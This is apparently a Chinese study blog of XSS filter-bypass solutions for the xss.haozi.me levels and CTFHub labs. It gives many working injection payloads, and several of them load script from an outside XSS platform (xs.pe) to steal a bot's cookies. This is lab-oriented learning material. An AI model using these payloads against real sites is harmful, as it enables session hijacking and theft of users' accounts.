Xss绕过
1 | https://xss.haozi.me/ |
正则规则
1 | .匹配任意单个字符(除换行符) |
实体编码规则
- 三种情况:
- 标签内容:会被当做字符串解析,不会被当作函数
<script>alert(1)</script>
- js 代码中出现:也会被当作字符串解析
- 事件触发器:可以被当作函数执行
<img src=1 onerror="alert(1)">
<input onmouseover="alert(1)">
- ….
- 标签内容:会被当做字符串解析,不会被当作函数
js 代码中的情况
1 | var jsCode = "alert(1)"; |
xss.haoz
0x00 普通
简单注入
0x01textarea标签
<textarea>
标签为 RCDATA 元素,其中不能再嵌入标签——闭合后再输入即可
0x02input 标签
1:闭合 input 标签
1 | "><script>alert(1)</script>111111111 |
2 闭合 value 的值,然后增加标签中的触发事件
1 | <input type="name" value="" > 函数如下 |
点击文本框就会触发
0x03 括号(img/button)
所有括号替换为空
1 | function render (input) { |
匹配字符
1 | 方法一:使用反引号代替括号 |
1 | <button onclick="alert(1)">点击触发xss</button> |
0x04 实体编码绕过
上面的 payload 可以直接打
1 | <img src=1 onerror="alert(1)"> |
0x05 注释绕过
1 | --!><script>alert(1)</script> |
0x06 换行符绕过
- 匹配了
- auto
- onxxxxx=
- 不区分大小写&全局
正则只会匹配一行的内容:用换行符过滤
1 | onclick |
0x07 非闭合标签绕过
1 | function render (input) { |
匹配所有的标签,删除它和它里面的内容
1 | /<\/?[^>]+>/gi |
用空元素标签绕过
1 | <img src=1 onerror="alert(1)" |
0x08 换行绕过
过滤了 style 的闭合标签
1 | function render (src) { |
换行绕过
1 | </style |
0x09 指定链接过滤
用于指向指定链接:输入的必须是指定元素的子域名https://www.segmentfault.com
1 | function render (input) { |
过滤如下
先输入链接
需要闭合标签,payload 如下
1 | https://www.segmentfault.com"></script><script>alert(1)// |
0x0A @重定向绕过
过滤了大多数字符——这些字符会被实体编码,在嵌入后会被解码——但是只会被当作字符串,不会被当作函数
1 | function render (input) { |
利用重定向来过滤
1 | 在网址中间使用符号@ |
可以用官方的测试,直接访问官方的 js 文件来弹窗,不需要重定向:payload 如下
1 | https://www.segmentfault.com.haozi.me/j.js |
在本地建立文件
上传,我这里没有成功,换了火狐也没有成功,不知道为什么
1 | https://www.segmentfault.com@127.0.0.1/xss.js |
0x0B 转为大写绕过(js编码)
html 不区分大小写,js 区分大小写
1 | function render (input) { |
可以编码绕过,但是只有触发事件的可以执行编码后的函数
1 | <img src=1 onerror='alert(1)' |
因为只有执行的 alert(1)是 js,所以只需要编码它就可以了,当然也可以全部都编码
0x0CC
多过滤了 script 字符
1 | function render (input) { |
0x0D 换行&注释
去掉了< / ‘ “
1 | function render (input) { |
换行且注释掉后面的字符
1 |
|
0x0E 特殊字符ſ
把<a 替换为<_a
1 | function render (input) { |
可以用换行逃逸捕获组,用编码逃逸变大写
1 | < |
但是没有通过,这道题的 h1,h2 是在同一行的,不能换行逃逸
特殊字符绕过ſ
1 | <svg onload="alert(1)"> |
在 html 里面ſ 会被替换为 s
1 | <ſvg/onload="alert`1`">编码alert |
0x0F 事件触发器
1 | function render (input) { |
因为在事件触发器 onerror 中实体编码可以正常被转义为函数,正常绕过即可
1 闭合前面的 console.error
2 js 中写下一条语句,需要换行 or 分号
3 直接 alert,然后注释后面的语句即可
1 | ');alert(1)// |
0x10window.data
0x11 双写转义字符
在每个特殊字符前面:添加了两个转义字符
1 | // from alf.nu |
实际上,一个字符,在进行赋值的时候,会用掉一个转义字符
最开始为 s 的特殊字符前面添加了两个转义字符
1 | s = escapeJs(s) s调用函数,添加了两个转义字符,并赋值给自己 |
相当于:只为 s 添加了一次转义字符
在下面:s 被嵌入赋值给了 url,又会用掉一次转义字符——即 url 最后拿到的 s 是没有转义字符的
1 | var url = 'javascript:console.log("${s}")' |
可以看到下图,转义字符已经少了一个了,在赋值完成后,又会再少一个
而对于这题的逻辑如下图
如上图可得知,最后的 html 代码就应该是这样的形势
1 | <body> |
所以直接在如上中:闭合 javascript:console.log(“输入s”)这一段代码即可
可以有两种 payload
1 | ");alert(1)// |
0x12
给双引号添加了两个转义字符,s 的赋值后会少一个转义字符
1 | // from alf.nu |
即最后的 html
1 | <script>console.log("s")</script> 注意s中如果有"会变成/" |
考虑 payload
1 | ");alert(1) |
但是这里的双引号被转义了,变成了字符,没有闭合的作用了
可以多加一个转义字符,把”多加的一个转义字符转义掉,变为没效果的普通字符,”就可以闭合了
再注释即可
1 | \");alert(1)// |
todolist:
1 复习一边文档 通关文档
2 看视频b站xss视频
Ctf_hub
1 反射型
嵌入可以请求 xss 平台的恶意代码——点提交后——当前页面就嵌入了恶意代码了
下面的 Url 就相当于——传给 bot——让 bot 去访问这个有恶意代码的 url——就可以获取用户的 cookie
2 空格
payload
1 | <sCRiPt sRC=//xs.pe/E3Q></sCrIpT> |
F12 可以 search 一下看到,空格不见了
注释绕过
1 | <sCRiPt/**/sRC=//xs.pe/E3Q> </sCrIpT> |
3 过滤关键词
XSS过滤关键词绕过可以使用双写、大小写等方式,例如,点击提交,发现1被弹出,说明存在XSS漏洞
1 | <sCRiPt sRC=//xs.pe/E3Q></sCrIpT> |
4 存储型
1 | <sCRiPt sRC=//xs.pe/E3Q></sCrIpT> |
可以看到,请求 url 里面没有了,重新访问,已经嵌入页面代码中,直接访问即可
5DOM 反射
看源码
一个简单的闭合绕过
1 | aaaa';</script><script>alert`1`</script>// |
向靶场发送
1 | aaaa';</script><sCRiPt sRC=//xs.pe/E3Q></sCrIpT>// |
6DOM 跳转
查看源码
xss过滤姿势
待更…